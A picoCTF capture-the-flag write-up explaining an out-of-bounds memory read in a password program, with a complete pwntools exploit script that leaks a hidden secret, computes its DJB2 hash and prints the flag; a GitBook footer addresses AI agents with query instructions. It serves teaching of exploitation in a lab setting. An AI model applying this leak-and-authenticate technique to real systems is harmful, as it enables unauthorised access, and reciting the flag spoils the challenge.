> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/reverse-engineering/secure-password-database.md).

# Secure Password Database

We are given a “password system” that:

1. Lets us input a password
2. Asks for its length
3. Prints stored password bytes
4. Asks for a **hash to authenticate**

At first glance, it looks like a hashing challenge — but it’s actually a **logic + memory leak vulnerability**.

After input:

```
Password: A
Length: 80
```

We get:

```
Your successfully stored password:
...
```

👉 It prints **a sequence of numbers (bytes)**

From reversing (`gdb`):

* Program allocates buffer using `calloc(0x5a)` → **90 bytes**
* But printing loop:

```c
for (i = 0; i <= user_length; i++)
    printf("%d ", buffer[i]);
```

👉 No bounds check ❌

So:

* If we give **length = 80**
* But password = `"A"` (1 byte)

👉 It prints:

* Our input ✔️
* PLUS **uninitialized / hidden memory** ❗

From GDB:

```c
secret[i] = obf_bytes[i] ^ 0xAA
```

This secret is stored **inside the same buffer**, offset around index `60`.

So when we print 80 bytes: 👉 We leak the secret!

From reversing:

```c
hash = (hash * 33 + c)
```

👉 This is **DJB2 hash function**

64-bit version:

```python
h = 0x1505
for c in data:
    h = (h * 33 + c) & 0xFFFFFFFFFFFFFFFF
```

1. Send small password (`"A"`)
2. Send large length (`80`)
3. Capture printed bytes
4. Extract secret (offset 60–72)
5. Compute DJB2 hash
6. Send hash → get flag

```python
#!/usr/bin/env python3
from pwn import *
import re

HOST = "candy-mountain.picoctf.net"
PORT = 53885

def djb2_64(data: bytes) -> int:
    h = 0x1505
    for c in data:
        h = (h * 33 + c) & 0xFFFFFFFFFFFFFFFF
    return h

io = remote(HOST, PORT)

# Step 1: Send small password
io.recvuntil(b"Please set a password for your account:")
io.sendline(b"A")

# Step 2: Overflow length
io.recvuntil(b"How many bytes in length is your password?")
io.sendline(b"80")

# Step 3: Read leaked bytes
io.recvuntil(b"Your successfully stored password:")

line = io.recvline().strip()
while line == b"":
    line = io.recvline().strip()

nums = [int(x) for x in re.findall(rb"-?\d+", line)]

# Step 4: Extract secret (known offset)
secret = bytes((x & 0xff) for x in nums[60:72])

# Step 5: Compute hash
h = djb2_64(secret)

print("[+] secret =", secret)
print("[+] hash =", h)

# Step 6: Send hash
io.recvuntil(b"Enter your hash to access your account!")
io.sendline(str(h).encode())

# Step 7: Get flag
print(io.recvall().decode())
```

### 🏁 Final Output

```
picoCTF{d0nt_trust_us3rs}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/reverse-engineering/secure-password-database.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.